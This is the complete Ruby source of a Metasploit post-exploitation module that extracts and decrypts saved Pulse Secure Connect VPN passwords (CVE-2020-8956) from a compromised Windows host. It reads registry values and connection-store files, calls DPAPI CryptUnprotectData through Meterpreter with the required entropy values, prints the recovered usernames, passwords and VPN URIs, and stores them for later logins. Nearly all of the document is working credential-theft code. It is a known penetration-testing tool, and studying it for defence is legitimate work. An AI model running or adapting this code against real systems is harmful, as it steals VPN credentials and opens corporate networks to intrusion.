rapid7/metasploit-framework

View on GitHub
modules/post/windows/gather/credentials/pulse_secure.rb

Summary

Maintainability
A
0 mins
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  include Msf::Post::Windows::Registry
  include Msf::Post::Windows::UserProfiles
  include Msf::Post::Windows::Priv
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Pulse Secure Connect Client Saved Password Extractor',
        'Description' => %q{
          This module extracts and decrypts saved Pulse Secure Connect Client passwords from the
          Windows Registry. This module can only access credentials created by the user that the
          Meterpreter session is running as.
          Note that this module cannot link the password to a username unless the
          Meterpreter sessions is running as SYSTEM. This is because the username associated
          with a password is saved in 'C:\ProgramData\Pulse Secure\ConnectionStore\[SID].dat',
          which is only readable by SYSTEM.
          Note that for enterprise deployment, this username is almost always the domain
          username.
        },
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2020-8956'],
          [ 'URL', 'https://qkaiser.github.io/reversing/2020/10/27/pule-secure-credentials'],
          [ 'URL', 'https://www.gremwell.com/blog/reversing_pulse_secure_client_credentials_store'],
          [ 'URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44601' ]
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Author' => ['Quentin Kaiser <kaiserquentin[at]gmail.com>'],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_stat
              stdapi_railgun_api
              stdapi_sys_config_getsid
              stdapi_sys_process_attach
              stdapi_sys_process_get_processes
              stdapi_sys_process_getpid
              stdapi_sys_process_memory_allocate
              stdapi_sys_process_memory_read
              stdapi_sys_process_memory_write
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )
  end

  # Decrypts `data` encrypted with Windows DPAPI by calling CryptUnprotectData
  # with `entropy` as pOptionalEntropy value.
  #
  # @param [String] data Encrypted data, pDataIn per crypt32.dll.
  # @param [String] entropy Optional entropy value, pOptionalEntropy per crypt32.dll
  #
  # @return [String] Decrypted value or empty string in case of failure.
  #
  def decrypt_reg(data, entropy)
    begin
      pid = session.sys.process.getpid
      process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)

      # write entropy to memory
      emem = process.memory.allocate(128)
      process.memory.write(emem, entropy)
      # write encrypted data to memory
      mem = process.memory.allocate(128)
      process.memory.write(mem, data)

      #  enumerate all processes to find the one that we're are currently executing as,
      #  and then fetch the architecture attribute of that process by doing ["arch"]
      #  to check if it is an 32bits process or not.
      if session.sys.process.each_process.find { |i| i['pid'] == pid } ['arch'] == 'x86'
        addr = [mem].pack('V')
        len = [data.length].pack('V')

        eaddr = [emem].pack('V')
        elen = [entropy.length].pack('V')

        ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 8)
        len, addr = ret['pDataOut'].unpack('V2')
      else
        # Convert using rex, basically doing: [mem & 0xffffffff, mem >> 32].pack("VV")
        addr = Rex::Text.pack_int64le(mem)
        len = Rex::Text.pack_int64le(data.length)

        eaddr = Rex::Text.pack_int64le(emem)
        elen = Rex::Text.pack_int64le(entropy.length)

        ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, "#{elen}#{eaddr}", nil, nil, 0, 16)
        p_data = ret['pDataOut'].unpack('VVVV')
        len = p_data[0] + (p_data[1] << 32)
        addr = p_data[2] + (p_data[3] << 32)
      end
      return '' if len == 0

      return process.memory.read(addr, len)
    rescue Rex::Post::Meterpreter::RequestError => e
      vprint_error(e.message)
    end
    return ''
  end

  # Parse IVEs definitions from Pulse Secure Connect client connection store
  # files. Each definition is converted into a Ruby hash holding a connection source,
  # a friendly name, a URI, and an array of credentials. These Ruby hashes are stored
  # into another Ruby hash, indexed by IVE identifiers.
  #
  # @return [hash] A Ruby hash indexed by IVE identifier
  #
  def find_ives
    connstore_paths = [
      'C:\\ProgramData\\Pulse Secure\\ConnectionStore\\connstore.dat',
      'C:\\ProgramData\\Pulse Secure\\ConnectionStore\\connstore.bak',
      'C:\\ProgramData\\Pulse Secure\\ConnectionStore\\connstore.tmp'
    ]
    begin
      ives = {}
      connstore_paths.each do |path|
        next unless session.fs.file.exist?(path)

        connstore_file = begin
          session.fs.file.open(path)
        rescue StandardError
          nil
        end
        next if connstore_file.nil?

        connstore_data = connstore_file.read.to_s
        connstore_file.close
        matches = connstore_data.scan(/ive "([a-z0-9]*)" {.*?connection-source: "([^"]*)".*?friendly-name: "([^"]*)".*?uri: "([^"]*)".*?}/m)
        matches.each do |m|
          ives[m[0]] = {}
          ives[m[0]]['connection-source'] = m[1]
          ives[m[0]]['friendly-name'] = m[2]
          ives[m[0]]['uri'] = m[3]
          ives[m[0]]['creds'] = []
        end
      end
      return ives
    rescue Rex::Post::Meterpreter::RequestError => e
      vprint_error(e.message)
    end
  end

  # Pulse Secure Connect client service creates two files for each user that
  # established a VPN connection at some point in time. The filename contains
  # the user SID, with '.dat' or '.bak' as suffix.
  #
  # These files are only readable by SYSTEM and contains connection details
  # for each IVE the user connected with. We use these details to extract
  # the actual username used to establish the VPN connection if the module
  # was run as the SYSTEM user.
  #
  # @return [String, nil] the username used by user linked to `sid` when establishing
  # a connection with IVE `ive_index`, nil if none.
  #
  def get_username(sid, ive_index)
    paths = [
      "C:\\ProgramData\\Pulse Secure\\ConnectionStore\\#{sid}.dat",
      "C:\\ProgramData\\Pulse Secure\\ConnectionStore\\#{sid}.bak",
      "C:\\ProgramData\\Pulse Secure\\ConnectionStore\\#{sid}.tmp",
    ]
    begin
      return unless is_system?

      paths.each do |path|
        next unless session.fs.file.exist?(path)

        connstore_file = begin
          session.fs.file.open(path)
        rescue StandardError
          nil
        end
        next if connstore_file.nil?

        connstore_data = connstore_file.read.to_s
        connstore_file.close

        matches = connstore_data.scan(/userdata "([a-z0-9]*)" {.*?username: "([^"]*)".*?}/m)
        matches.each do |m|
          if m[0] == ive_index
            return m[1]
          end
        end
      end
    rescue Rex::Post::Meterpreter::RequestError => e
      vprint_error(e.message)
    end
    return nil
  end

  # Implements IVE index to pOptionalEntropy value like Pulse Secure Connect
  # client does.
  #
  # @return [String] pOptionalEntropy representation of `ive_index`.
  #
  def get_entropy_from_ive_index(ive_index)
    return "IVE:#{ive_index.upcase}"
  end

  def find_creds
    begin
      # If we execute with elevated privileges, we can go through all registry values
      # so we load all profiles. If we run without privileges, we just load our current
      # user profile. We have to do that otherwise we try to access registry values that
      # we are not allwoed to, triggering a 'Profile doesn't exist or cannot be accessed'
      # error.
      if is_system?
        profiles = grab_user_profiles
      else
        profiles = [{ 'SID' => session.sys.config.getsid }]
      end
      creds = []
      # we get connection ives
      ives = find_ives
      # for each user profile, we check for potential connection ive
      profiles.each do |profile|
        key_names = registry_enumkeys("HKEY_USERS\\#{profile['SID']}\\Software\\Pulse Secure\\Pulse\\User Data")
        next unless key_names

        key_names.each do |key_name|
          ive_index = key_name[4..] # remove 'ive:'
          # We get the encrypted password value from registry
          reg_path = "HKEY_USERS\\#{profile['SID']}\\Software\\Pulse Secure\\Pulse\\User Data\\ive:#{ive_index}"
          vals = registry_enumvals(reg_path)

          next unless vals

          vals.each do |val|
            data = registry_getvaldata(reg_path, val)
            if is_system? && data.starts_with?("{\x00c\x00a\x00p\x00i\x00}\x00 \x001\x00,")
              # this means data was encrypted by elevated user using LocalSystem scope and fixed
              # pOptionalEntropy value, adjusting parameters
              data = [Rex::Text.to_ascii(data[18..-3])].pack('H*')
              entropy = ['7B4C6492B77164BF81AB80EF044F01CE'].pack('H*')
            else
              # convert IVE index to DPAPI pOptionalEntropy value like PSC does
              entropy = get_entropy_from_ive_index(ive_index).encode('UTF-16LE').bytes.pack('c*')
            end

            if !data.starts_with?("\x01\x00\x00\x00\xD0\x8C\x9D\xDF\x01\x15\xD1\x11\x8Cz\x00\xC0O\xC2\x97\xEB")
              next
            end

            decrypted = decrypt_reg(data, entropy)
            next unless decrypted != ''

            if !ives.key?(ive_index)
              # If the ive_index is not in gathered IVEs, this means it's a leftover from
              # previously installed Pulse Secure Connect client versions.
              #
              # IVE keys of existing connections can get removed from connstore.dat and connstore.tmp
              # when the new version is executed and that the client has more than one defined connection,
              # leading to them not being inserted in the 'ives' array.
              #
              # However, the registry values are not wiped when Pulse Secure Connect is upgraded
              # to a new version (including versions that fix CVE-2020-8956).
              #
              # TL;DR; We can still decrypt the password, but we're missing the URI and friendly
              # name of that connection.
              ives[ive_index] = {}
              ives[ive_index]['connection-source'] = 'user'
              ives[ive_index]['friendly-name'] = 'unknown'
              ives[ive_index]['uri'] = 'unknown'
              ives[ive_index]['creds'] = []
            end
            ives[ive_index]['creds'].append(
              {
                'username' => get_username(profile['SID'], ive_index),
                'password' => decrypted.remove("\x00")
              }
            )
            creds << ives[ive_index]
          end
        end
      end
      return creds
    rescue Rex::Post::Meterpreter::RequestError => e
      vprint_error(e.message)
    end
    return []
  end

  def gather_creds
    print_status('Running credentials acquisition.')
    ives = find_creds
    if ives.empty?
      print_status('No credentials were found.')
    end
    return unless ives.any?

    ives.each do |ive|
      ive['creds'].each do |creds|
        print_good('Account found')
        print_status("     Username: #{creds['username']}")
        print_status("     Password: #{creds['password']}")
        print_status("     URI: #{ive['uri']}")
        print_status("     Name: #{ive['friendly-name']}")
        print_status("     Source: #{ive['connection-source']}")

        uri = URI(ive['uri'])
        begin
          address = Rex::Socket.getaddress(uri.host)
        rescue SocketError
          # if we can't resolve the host, we don't save it to service data
          # in order not to fill it with blank entries
          next
        end
        service_data = {
          address: address,
          port: uri.port,
          protocol: 'tcp',
          realm_key: Metasploit::Model::Realm::Key::WILDCARD,
          realm_value: uri.path.blank? ? '/' : uri.path,
          service_name: 'Pulse Secure SSL VPN',
          workspace_id: myworkspace_id
        }

        credential_data = {
          origin_type: :session,
          session_id: session_db_id,
          post_reference_name: refname,
          username: creds['username'],
          private_data: creds['password'],
          private_type: :password
        }

        credential_core = create_credential(credential_data.merge(service_data))

        login_data = {
          core: credential_core,
          access_level: 'User',
          status: Metasploit::Model::Login::Status::UNTRIED
        }

        create_credential_login(login_data.merge(service_data))
      end
    end
  end

  # Array of vulnerable builds branches.
  def vuln_builds
    [
      [Rex::Version.new('0.0.0'), Rex::Version.new('9.0.5')],
      [Rex::Version.new('9.1.0'), Rex::Version.new('9.1.4')],
    ]
  end

  # Check vulnerable state by parsing the build information from
  # Pulse Connect Secure client version file.
  #
  # @return [Msf::Exploit::CheckCode] host vulnerable state
  #
  def check
    version_path = 'C:\\Program Files (x86)\\Pulse Secure\\Pulse\\versionInfo.ini'
    begin
      if !session.fs.file.exist?(version_path)
        print_error('Pulse Secure Connect client is not installed on this system')
        return Msf::Exploit::CheckCode::Safe
      end
      version_file = begin
        session.fs.file.open(version_path)
      rescue StandardError
        nil
      end
      if version_file.nil?
        print_error('Cannot open Pulse Secure Connect version file.')
        return Msf::Exploit::CheckCode::Unknown
      end
      version_data = version_file.read.to_s
      version_file.close
      matches = version_data.scan(/DisplayVersion=([0-9.]+)/m)
      build = Rex::Version.new(matches[0][0])
      print_status("Target is running Pulse Secure Connect build #{build}.")
      if vuln_builds.any? { |build_range| Rex::Version.new(build).between?(*build_range) }
        print_good('This version is considered vulnerable.')
        return Msf::Exploit::CheckCode::Vulnerable
      end

      if is_system?
        print_good("You're executing from a privileged process so this version is considered vulnerable.")
        return Msf::Exploit::CheckCode::Vulnerable
      end

      print_warning("You're executing from an unprivileged process so this version is considered safe.")
      print_warning('However, there might be leftovers from previous versions in the registry.')
      print_warning('We recommend running this script in elevated mode to obtain credentials saved by recent versions.')
      return Msf::Exploit::CheckCode::Appears
    rescue Rex::Post::Meterpreter::RequestError => e
      vprint_error(e.message)
    end
  end

  def run
    check_code = check
    if check_code == Msf::Exploit::CheckCode::Vulnerable || check_code == Msf::Exploit::CheckCode::Appears
      gather_creds
    end
  end
end